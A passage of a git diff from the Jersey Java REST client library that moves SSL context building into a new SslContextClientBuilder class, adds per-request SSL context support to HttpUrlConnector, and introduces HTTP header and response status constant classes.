org.glassfish.jersey.SslConfigurator; import org.glassfish.jersey.client.innate.inject.NonInjectionManager; -import org.glassfish.jersey.client.internal.LocalizationMessages; import org.glassfish.jersey.client.spi.ClientBuilderListener; import org.glassfish.jersey.client.spi.ConnectorProvider; import org.glassfish.jersey.internal.ServiceFinder; import org.glassfish.jersey.internal.config.ExternalPropertiesConfigurationFactory; import org.glassfish.jersey.internal.util.ReflectionHelper; -import org.glassfish.jersey.internal.util.collection.UnsafeValue; -import org.glassfish.jersey.internal.util.collection.Values; import org.glassfish.jersey.model.internal.RankedComparator; import org.glassfish.jersey.model.internal.RankedProvider; @@ -54,8 +50,7 @@ public class JerseyClientBuilder extends ClientBuilder { private final ClientConfig config; private HostnameVerifier hostnameVerifier; - private SslConfigurator sslConfigurator; - private SSLContext sslContext; + private final SslContextClientBuilder sslContextClientBuilder = new SslContextClientBuilder(); private static final List CLIENT_BUILDER_LISTENERS; @@ -113,41 +108,19 @@ private static void init(ClientBuilder builder) { @Override public JerseyClientBuilder sslContext(SSLContext sslContext) { - if (sslContext == null) { - throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT()); - } - this.sslContext = sslContext; - sslConfigurator = null; + sslContextClientBuilder.sslContext(sslContext); return this; } @Override public JerseyClientBuilder keyStore(KeyStore keyStore, char[] password) { - if (keyStore == null) { - throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE()); - } - if (password == null) { - throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD()); - } - if (sslConfigurator == null) { - sslConfigurator = SslConfigurator.newInstance(); - } - sslConfigurator.keyStore(keyStore); - sslConfigurator.keyPassword(password); - sslContext = null; + sslContextClientBuilder.keyStore(keyStore, password); return this; } @Override public JerseyClientBuilder trustStore(KeyStore trustStore) { - if (trustStore == null) { - throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE()); - } - if (sslConfigurator == null) { - sslConfigurator = SslConfigurator.newInstance(); - } - sslConfigurator.trustStore(trustStore); - sslContext = null; + sslContextClientBuilder.trustStore(trustStore); return this; } @@ -194,22 +167,7 @@ public JerseyClient build() { ExternalPropertiesConfigurationFactory.configure(this.config); setConnectorFromProperties(); - if (sslContext != null) { - return new JerseyClient(config, sslContext, hostnameVerifier, null); - } else if (sslConfigurator != null) { - final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy(); - return new JerseyClient( - config, - Values.lazy(new UnsafeValue() { - @Override - public SSLContext get() { - return sslConfiguratorCopy.createSSLContext(); - } - }), - hostnameVerifier); - } else { - return new JerseyClient(config, (UnsafeValue) null, hostnameVerifier); - } + return new JerseyClient(config, sslContextClientBuilder, hostnameVerifier, null); } private void setConnectorFromProperties() { diff --git a/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java new file mode 100644 index 0000000000..cea0439cd3 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java @@ -0,0 +1,258 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client; + +import org.glassfish.jersey.SslConfigurator; +import org.glassfish.jersey.client.internal.LocalizationMessages; +import org.glassfish.jersey.client.spi.DefaultSslContextProvider; +import org.glassfish.jersey.internal.ServiceFinder; +import org.glassfish.jersey.internal.util.collection.Value; +import org.glassfish.jersey.internal.util.collection.Values; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.client.WebTarget; +import java.security.KeyStore; +import java.util.Iterator; +import java.util.function.Supplier; + +/** + *

The class that builds {@link SSLContext} for the client from keystore, truststore. Provides a cached + * {@link Supplier} from the built or user provided {@link SSLContext}.

+ * + *

The class is used internally by {@link JerseyClientBuilder}, or it can be used by connectors supporting setting + * the {@link SSLContext} per request.

+ * + * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, char[]) + * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, String) + * @see jakarta.ws.rs.client.ClientBuilder#sslContext(SSLContext) + */ +public final class SslContextClientBuilder implements Supplier { + private SslConfigurator sslConfigurator = null; + private SSLContext sslContext = null; + private DefaultSslContextProvider defaultSslContextProvider = null; + private final Supplier suppliedValue = Values.lazy((Value) () -> supply()); + + private static final DefaultSslContextProvider DEFAULT_SSL_CONTEXT_PROVIDER = new DefaultSslContextProvider() { + @Override + public SSLContext getDefaultSslContext() { + return SslConfigurator.getDefaultContext(); + } + }; + + /** + * Set the SSL context that will be used when creating secured transport connections + * to server endpoints from {@link WebTarget web targets} created by the client + * instance that is using this SSL context. The SSL context is expected to have all the + * security infrastructure initialized, including the key and trust managers. + *

+ * Setting a SSL context instance resets any {@link #keyStore(java.security.KeyStore, char[]) + * key store} or {@link #trustStore(java.security.KeyStore) trust store} values previously + * specified. + *

+ * + * @param sslContext secure socket protocol implementation which acts as a factory + * for secure socket factories or {@link javax.net.ssl.SSLEngine + * SSL engines}. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case the {@code sslContext} parameter is {@code null}. + * @see #keyStore(java.security.KeyStore, char[]) + * @see #keyStore(java.security.KeyStore, String) + * @see #trustStore + */ + public SslContextClientBuilder sslContext(SSLContext sslContext) { + if (sslContext == null) { + throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT()); + } + this.sslContext = sslContext; + sslConfigurator = null; + return this; + } + + /** + * Set the client-side key store. Key store contains client's private keys, and the certificates with their + * corresponding public keys. + *

+ * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance} + * value previously specified. + *

+ *

+ * Note that for improved security of working with password data and avoid storing passwords in Java string + * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized. + * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL + * connections (client certificate authentication). + *

+ * + * @param keyStore client-side key store. Must not be {@code null}. + * @param password client key password. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case any of the supplied parameters is {@code null}. + * @see #sslContext + * @see #keyStore(java.security.KeyStore, char[]) + * @see #trustStore + */ + public SslContextClientBuilder keyStore(KeyStore keyStore, char[] password) { + if (keyStore == null) { + throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE()); + } + if (password == null) { + throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD()); + } + if (sslConfigurator == null) { + sslConfigurator = SslConfigurator.newInstance(); + } + sslConfigurator.keyStore(keyStore); + sslConfigurator.keyPassword(password); + sslContext = null; + return this; + } + + /** + * Set the client-side trust store. Trust store is expected to contain certificates from other parties + * the client is you expect to communicate with, or from Certificate Authorities that are trusted to + * identify other parties. + *

+ * Setting a trust store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance} + * value previously specified. + *

+ *

+ * In case a custom trust store or custom SSL context is not specified, the trust management will be + * configured to use the default Java runtime settings. + *

+ * + * @param trustStore client-side trust store. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case the supplied trust store parameter is {@code null}. + * @see #sslContext + * @see #keyStore(java.security.KeyStore, char[]) + * @see #keyStore(java.security.KeyStore, String) + */ + public SslContextClientBuilder trustStore(KeyStore trustStore) { + if (trustStore == null) { + throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE()); + } + if (sslConfigurator == null) { + sslConfigurator = SslConfigurator.newInstance(); + } + sslConfigurator.trustStore(trustStore); + sslContext = null; + return this; + } + + /** + * Set the client-side key store. Key store contains client's private keys, and the certificates with their + * corresponding public keys. + *

+ * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance} + * value previously specified. + *

+ *

+ * Note that for improved security of working with password data and avoid storing passwords in Java string + * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized. + * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL + * connections (client certificate authentication). + *

+ * + * @param keyStore client-side key store. Must not be {@code null}. + * @param password client key password. Must not be {@code null}. + * @return an updated ssl client context builder instance. + * @throws NullPointerException in case any of the supplied parameters is {@code null}. + * @see #sslContext + * @see #keyStore(java.security.KeyStore, char[]) + * @see #trustStore + */ + public SslContextClientBuilder keyStore(final KeyStore keyStore, final String password) { + return keyStore(keyStore, password.toCharArray()); + } + + /** + * Get information about used {@link SSLContext}. + * + * @return {@code true} when used {@code SSLContext} is acquired from {@link SslConfigurator#getDefaultContext()}, + * {@code false} otherwise. + */ + public boolean isDefaultSslContext() { + return sslContext == null && sslConfigurator == null; + } + + /** + * Supply SSLContext from this builder. + * @return {@link SSLContext} + */ + @Override + public SSLContext get() { + return suppliedValue.get(); + } + + /** + * Build SSLContext from the Builder. + * @return {@link SSLContext} + */ + public SSLContext build() { + return suppliedValue.get(); + } + + /** + * Set the default SSL context provider. + * @param defaultSslContextProvider the default SSL context provider. + * @return an updated ssl client context builder instance. + */ + protected SslContextClientBuilder defaultSslContextProvider(DefaultSslContextProvider defaultSslContextProvider) { + this.defaultSslContextProvider = defaultSslContextProvider; + return this; + } + + /** + * Supply the {@link SSLContext} to the supplier. Can throw illegal state exception when there is a problem with creating or + * obtaining default SSL context. + * @return SSLContext + */ + private SSLContext supply() { + final SSLContext providedValue; + if (sslContext != null) { + providedValue = sslContext; + } else if (sslConfigurator != null) { + final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy(); + providedValue = sslConfiguratorCopy.createSSLContext(); + } else { + providedValue = null; + } + + final SSLContext returnValue; + if (providedValue == null) { + if (defaultSslContextProvider != null) { + returnValue = defaultSslContextProvider.getDefaultSslContext(); + } else { + final DefaultSslContextProvider lookedUpSslContextProvider; + + final Iterator iterator = + ServiceFinder.find(DefaultSslContextProvider.class).iterator(); + + if (iterator.hasNext()) { + lookedUpSslContextProvider = iterator.next(); + } else { + lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER; + } + + returnValue = lookedUpSslContextProvider.getDefaultSslContext(); + } + } else { + returnValue = providedValue; + } + + return returnValue; + } +} diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java index 022cbc6b2e..98e47bb4bd 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,7 +26,7 @@ * * @since 2.33 */ -interface ConnectorExtension { +public interface ConnectorExtension { /** * Main function which allows extension of connector's functionality diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java index 2fdb7e973a..f5a34090d9 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java @@ -39,12 +39,14 @@ import java.util.Set; import java.util.concurrent.CompletableFuture; import java.util.concurrent.Future; +import java.util.function.Supplier; import java.util.logging.Level; import java.util.logging.Logger; import java.util.stream.Collectors; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLContext; import javax.net.ssl.SSLSocket; import javax.net.ssl.SSLSocketFactory; import jakarta.ws.rs.ProcessingException; @@ -111,7 +113,7 @@ public class HttpUrlConnector implements Connector { private final boolean fixLengthStreaming; private final boolean setMethodWorkaround; private final boolean isRestrictedHeaderPropertySet; - private final LazyValue sslSocketFactory; + private LazyValue sslSocketFactory; private final ConnectorExtension connectorExtension = new HttpUrlExpect100ContinueConnectorExtension(); @@ -135,13 +137,6 @@ public HttpUrlConnector( final boolean fixLengthStreaming, final boolean setMethodWorkaround) { - sslSocketFactory = Values.lazy(new Value() { - @Override - public SSLSocketFactory get() { - return client.getSslContext().getSocketFactory(); - } - }); - this.connectionFactory = connectionFactory; this.chunkSize = chunkSize; this.fixLengthStreaming = fixLengthStreaming; @@ -316,7 +311,7 @@ protected void secureConnection(final JerseyClient client, final HttpURLConnecti if (DEFAULT_SSL_SOCKET_FACTORY.get() == suc.getSSLSocketFactory()) { // indicates that the custom socket factory was not set suc.setSSLSocketFactory(sslSocketFactory.get()); - } + } } } @@ -331,6 +326,7 @@ protected void secureConnection(final JerseyClient client, final HttpURLConnecti */ private void secureConnection( final ClientRequest clientRequest, final HttpURLConnection uc, final SSLParamConfigurator sniConfig) { + setSslContextFactory(clientRequest.getClient(), clientRequest); secureConnection(clientRequest.getClient(), uc); // keep this for compatibility if (sniConfig.isSNIRequired() && uc instanceof HttpsURLConnection) { // set SNI @@ -341,6 +337,18 @@ private void secureConnection( } } + private void setSslContextFactory(Client client, ClientRequest request) { + final Supplier supplier = request.resolveProperty(ClientProperties.SSL_CONTEXT_SUPPLIER, Supplier.class); + + sslSocketFactory = Values.lazy(new Value() { + @Override + public SSLSocketFactory get() { + final SSLContext ctx = supplier == null ? client.getSslContext() : supplier.get(); + return ctx.getSocketFactory(); + } + }); + } + private ClientResponse _apply(final ClientRequest request) throws IOException { final HttpURLConnection uc; final Optional proxy = ClientProxy.proxyFromRequest(request); @@ -397,7 +405,7 @@ private ClientResponse _apply(final ClientRequest request) throws IOException { } } - processExtentions(request, uc); + processExtensions(request, uc); request.setStreamProvider(contentLength -> { setOutboundHeaders(request.getStringHeaders(), uc); @@ -571,7 +579,7 @@ public Object run() throws NoSuchFieldException, } } - private void processExtentions(ClientRequest request, HttpURLConnection uc) { + private void processExtensions(ClientRequest request, HttpURLConnection uc) { connectorExtension.invoke(request, uc); } diff --git a/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java index 1bf2647fd4..b3befea473 100644 --- a/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java +++ b/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2007, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2007, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,10 +17,11 @@ package org.glassfish.jersey; import java.io.ByteArrayInputStream; -import java.io.FileInputStream; +import java.io.File; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; +import java.nio.file.Files; import java.security.AccessController; import java.security.KeyManagementException; import java.security.KeyStore; @@ -635,7 +636,7 @@ public SSLContext createSSLContext() { if (keyStoreBytes != null) { keyStoreInputStream = new ByteArrayInputStream(keyStoreBytes); } else if (!keyStoreFile.equals("NONE")) { - keyStoreInputStream = new FileInputStream(keyStoreFile); + keyStoreInputStream = Files.newInputStream(new File(keyStoreFile).toPath()); } _keyStore.load(keyStoreInputStream, keyStorePass); } finally { @@ -710,7 +711,7 @@ public SSLContext createSSLContext() { if (trustStoreBytes != null) { trustStoreInputStream = new ByteArrayInputStream(trustStoreBytes); } else if (!trustStoreFile.equals("NONE")) { - trustStoreInputStream = new FileInputStream(trustStoreFile); + trustStoreInputStream = Files.newInputStream(new File(trustStoreFile).toPath()); } _trustStore.load(trustStoreInputStream, trustStorePass); } finally { diff --git a/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java b/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java new file mode 100644 index 0000000000..e4de92c644 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java @@ -0,0 +1,148 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.http; + +/** + * Additional HTTP headers that are not listed in Jakarta REST {@link jakarta.ws.rs.core.HttpHeaders}. + */ +public interface HttpHeaders extends jakarta.ws.rs.core.HttpHeaders { + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String ACCEPT_RANGES = "Accept-Ranges"; + + /** + * See {@link PATCH Method for HTTP} + */ + public static final String ACCEPT_PATCH = "Accept-Patch"; + + /** + * See {@link HTTP Caching} + */ + public static final String AGE = "Age"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String CONNECTION = "Connection"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String CONTENT_RANGE = "Content-Range"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String EXPECT = "Expect"; + + /** + * See {@link Forwarded HTTP Extension} + */ + public static final String FORWARDED = "Forwarded"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String FROM = "From"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String IF_RANGE = "If-Range"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String MAX_FORWARDS = "Max-Forwards"; + + /** + * See {@link (MIME) Part One: Format of Internet Message Bodies} + */ + public static final String MIME_VERSION = "Mime-Version"; + + /** + * See {@link Web Linking} + */ + public static final String LINK = "Link"; + + /** + * See {@link The Web Origin Concept} + */ + public static final String ORIGIN = "Origin"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String PROXY_AUTHENTICATE = "Proxy-Authenticate"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String PROXY_AUTHORIZATION = "Proxy-Authorization"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String PROXY_AUTHENTICATION_INFO = "Proxy-Authentication-Info"; + + /** + * See {@link HTTP/1.1 documentation} + */ + public static final String PROXY_CONNECTION = "Proxy-Connection"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String RANGE = "Range"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String REFERER = "Referer"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String SERVER = "Server"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String TE = "TE"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String TRAILER = "Trailer"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String TRANSFER_ENCODING = "Transfer-Encoding"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String UPGRADE = "Upgrade"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String VIA = "Via"; +} diff --git a/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java b/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java new file mode 100644 index 0000000000..a86e7679ae --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java @@ -0,0 +1,405 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.http; + +import jakarta.ws.rs.core.Response; + +/** + * This is a list of Hypertext Transfer Protocol (HTTP) response status codes. + * The Internet Assigned Numbers Authority (IANA) maintains the official registry of HTTP status codes. + * See Hypertext Transfer Protocol (HTTP) Status Code Registry. + */ +public final class ResponseStatus { + + /** + * 1xx informational status codes - request received, continuing process + */ + public static class Info1xx { + /** + * 100 Continue. + * See HTTP Semantics. + */ + public static final Response.StatusType CONTINUE_100 = new ResponseStatusImpl(100, "Continue"); + /** + * 101 Switching Protocols. + * See HTTP Semantics. + */ + public static final Response.StatusType SWITCHING_PROTOCOLS_101 = new ResponseStatusImpl(101, "Switching Protocols"); + /** + * 102 Processing. + * See HTTP Extensions for Distributed Authoring -- WEBDAV. + */ + public static final Response.StatusType PROCESSING_102 = new ResponseStatusImpl(102, "Processing"); + /** + * 103 Early Hints. + * See An HTTP Status Code for Indicating Hints. + */ + public static final Response.StatusType EARLY_HINTS_103 = new ResponseStatusImpl(103, "Early Hints"); + } + + /** + * 2xx success status codes - the action was successfully received, understood, and accepted. + */ + public static class Success2xx { + /** + * 200 OK. + * See HTTP Semantics. + */ + public static final Response.StatusType OK_200 = new ResponseStatusImpl(200, "OK"); + /** + * 201 Created. + * See HTTP Semantics. + */ + public static final Response.StatusType CREATED_201 = new ResponseStatusImpl(201, "Created"); + /** + * 202 Accepted. + * See HTTP Semantics. + */ + public static final Response.StatusType ACCEPTED_202 = new ResponseStatusImpl(202, "Accepted"); + /** + * 203 Non-Authoritative Information. + * See HTTP Semantics. + */ + public static final Response.StatusType NON_AUTHORITATIVE_INFORMATION_203 + = new ResponseStatusImpl(203, "Non-Authoritative Information"); + /** + * 204 No Content. + * See HTTP Semantics. + */ + public static final Response.StatusType NO_CONTENT_204 = new ResponseStatusImpl(204, "No Content"); + /** + * 205 Reset Content. + * See HTTP Semantics. + */ + public static final Response.StatusType RESET_CONTENT_205 = new ResponseStatusImpl(205, "Reset Content"); + /** + * 206 Partial Content. + * See HTTP Semantics. + */ + public static final Response.StatusType PARTIAL_CONTENT_206 = new ResponseStatusImpl(206, "Partial Content"); + /** + * 207 Multi-Status. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType MULTI_STATUS_207 = new ResponseStatusImpl(207, "Multi-Status"); + /** + * 208 Already Reported. + * See Binding Extensions to Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType ALREADY_REPORTED_208 = new ResponseStatusImpl(208, "Already Reported"); + /** + * 226 IM used. + * See Delta encoding in HTTP + */ + public static final Response.StatusType IM_USED_226 = new ResponseStatusImpl(226, "IM used"); + } + + /** + * 3xx redirection status codes - further action must be taken in order to complete the request. + */ + public static class Redirect3xx { + /** + * 300 Multiple Choices. + * See HTTP Semantics. + */ + public static final Response.StatusType MULTIPLE_CHOICES_300 = new ResponseStatusImpl(300, "Multiple Choices"); + /** + * 301 Moved Permanently. + * See HTTP Semantics. + */ + public static final Response.StatusType MOVED_PERMANENTLY_301 = new ResponseStatusImpl(301, "Moved Permanently"); + /** + * 302 Found. + * See HTTP Semantics. + */ + public static final Response.StatusType FOUND_302 = new ResponseStatusImpl(302, "Found"); + /** + * 303 See Other. + * See HTTP Semantics. + */ + public static final Response.StatusType SEE_OTHER_303 = new ResponseStatusImpl(303, "See Other"); + /** + * 304 Not Modified. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_MODIFIED_304 = new ResponseStatusImpl(304, "Not Modified"); + /** + * 305 Use Proxy. + * See HTTP Semantics. + */ + public static final Response.StatusType USE_PROXY_305 = new ResponseStatusImpl(305, "Use Proxy"); + /** + * 307 Temporary Redirect. + * See HTTP Semantics. + */ + public static final Response.StatusType TEMPORARY_REDIRECT_307 = new ResponseStatusImpl(307, "Temporary Redirect"); + /** + * 308 Permanent Redirect. + * See HTTP Semantics. + */ + public static final Response.StatusType PERMANENT_REDIRECT_308 = new ResponseStatusImpl(308, "Permanent Redirect"); + } + + /** + * 4xx client error status codes - the request contains bad syntax or cannot be fulfilled. + */ + public static class ClientError4xx { + /** + * 400 Bad Request. + * See HTTP Semantics. + */ + public static final Response.StatusType BAD_REQUEST_400 = new ResponseStatusImpl(400, "Bad Request"); + /** + * 401 Unauthorized. + * See HTTP Semantics. + */ + public static final Response.StatusType UNAUTHORIZED_401 = new ResponseStatusImpl(401, "Unauthorized"); + /** + * 402 Payment Required. + * See HTTP Semantics. + */ + public static final Response.StatusType PAYMENT_REQUIRED_402 = new ResponseStatusImpl(402, "Payment Required"); + /** + * 403 Forbidden. + * See HTTP Semantics. + */ + public static final Response.StatusType FORBIDDEN_403 = new ResponseStatusImpl(403, "Forbidden"); + /** + * 404 Not Found. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_FOUND_404 = new ResponseStatusImpl(404, "Not Found"); + /** + * 405 Method Not Allowed. + * See HTTP Semantics. + */ + public static final Response.StatusType METHOD_NOT_ALLOWED_405 = new ResponseStatusImpl(405, "Method Not Allowed"); + /** + * 406 Not Acceptable. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_ACCEPTABLE_406 = new ResponseStatusImpl(406, "Not Acceptable"); + /** + * 407 Proxy Authentication Required. + * See HTTP Semantics. + */ + public static final Response.StatusType PROXY_AUTHENTICATION_REQUIRED_407 + = new ResponseStatusImpl(407, "Proxy Authentication Required"); + /** + * 408 Request Timeout. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUEST_TIMEOUT_408 = new ResponseStatusImpl(408, "Request Timeout"); + /** + * 409 Conflict. + * See HTTP Semantics. + */ + public static final Response.StatusType CONFLICT_409 = new ResponseStatusImpl(409, "Conflict"); + /** + * 410 Gone. + * See HTTP Semantics. + */ + public static final Response.StatusType GONE_410 = new ResponseStatusImpl(410, "Gone"); + /** + * 411 Length Required. + * See HTTP Semantics. + */ + public static final Response.StatusType LENGTH_REQUIRED_411 = new ResponseStatusImpl(411, "Length Required"); + /** + * 412 Precondition Failed. + * See HTTP Semantics. + */ + public static final Response.StatusType PRECONDITION_FAILED_412 = new ResponseStatusImpl(412, "Precondition Failed"); + /** + * 413 Request Entity Too Large. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUEST_ENTITY_TOO_LARGE_413 + = new ResponseStatusImpl(413, "Request Entity Too Large"); + /** + * 414 Request-URI Too Long. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUEST_URI_TOO_LONG_414 = new ResponseStatusImpl(414, "Request-URI Too Long"); + /** + * 415 Unsupported Media Type. + * See HTTP Semantics. + */ + public static final Response.StatusType UNSUPPORTED_MEDIA_TYPE_415 + = new ResponseStatusImpl(415, "Unsupported Media Type"); + /** + * 416 Requested Range Not Satisfiable. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUESTED_RANGE_NOT_SATISFIABLE_416 + = new ResponseStatusImpl(416, "Requested Range Not Satisfiable"); + /** + * 417 Expectation Failed. + * See HTTP Semantics. + */ + public static final Response.StatusType EXPECTATION_FAILED_417 = new ResponseStatusImpl(417, "Expectation Failed"); + /** + * 418 I'm a teapot. + * See HTTP Semantics + * and Hyper Text Coffee Pot Control Protocol + */ + public static final Response.StatusType I_AM_A_TEAPOT_418 = new ResponseStatusImpl(418, "I'm a teapot"); + /** + * 421 Misdirected Request. + * See HTTP Semantics. + */ + public static final Response.StatusType MISDIRECTED_REQUEST_421 = new ResponseStatusImpl(421, "Misdirected Request"); + /** + * 422 Unprocessable Content. + * See HTTP Semantics. + */ + public static final Response.StatusType UNPROCESSABLE_CONTENT_422 = new ResponseStatusImpl(422, "Unprocessable Content"); + /** + * 423 Locked. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType LOCKED_423 = new ResponseStatusImpl(423, "Locked"); + /** + * 424 Failed Dependency. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType FAILED_DEPENDENCY_424 = new ResponseStatusImpl(424, "Failed Dependency"); + /** + * 425 Too Early. + * See Using Early Data in HTTP. + */ + public static final Response.StatusType TOO_EARLY_425 = new ResponseStatusImpl(425, "Too Early"); + /** + * 426 Upgrade Required. + * See HTTP Semantics. + */ + public static final Response.StatusType UPGRADE_REQUIRED_426 = new ResponseStatusImpl(426, "Upgrade Required"); + /** + * 428 Precondition Required. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType PRECONDITION_REQUIRED_428 = new ResponseStatusImpl(428, "Precondition Required"); + /** + * 429 Too Many Requests. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType TOO_MANY_REQUESTS_429 = new ResponseStatusImpl(429, "Too Many Requests"); + /** + * 431 Request Header Fields Too Large. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType REQUEST_HEADER_FIELDS_TOO_LARGE_431 + = new ResponseStatusImpl(431, "Request Header Fields Too Large"); + /** + * 451 Unavailable For Legal Reasons. + * See An HTTP Status Code to Report Legal Obstacles. + */ + public static final Response.StatusType UNAVAILABLE_FOR_LEGAL_REASONS_451 + = new ResponseStatusImpl(451, "Unavailable For Legal Reasons"); + } + + /** + * 5xx server error status codes - the server failed to fulfill an apparently valid request. + */ + public static class ServerError5xx { + /** + * 500 Internal Server Error. + * See HTTP Semantics. + */ + public static final Response.StatusType INTERNAL_SERVER_ERROR_500 = new ResponseStatusImpl(500, "Internal Server Error"); + /** + * 501 Not Implemented. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_IMPLEMENTED_501 = new ResponseStatusImpl(501, "Not Implemented"); + /** + 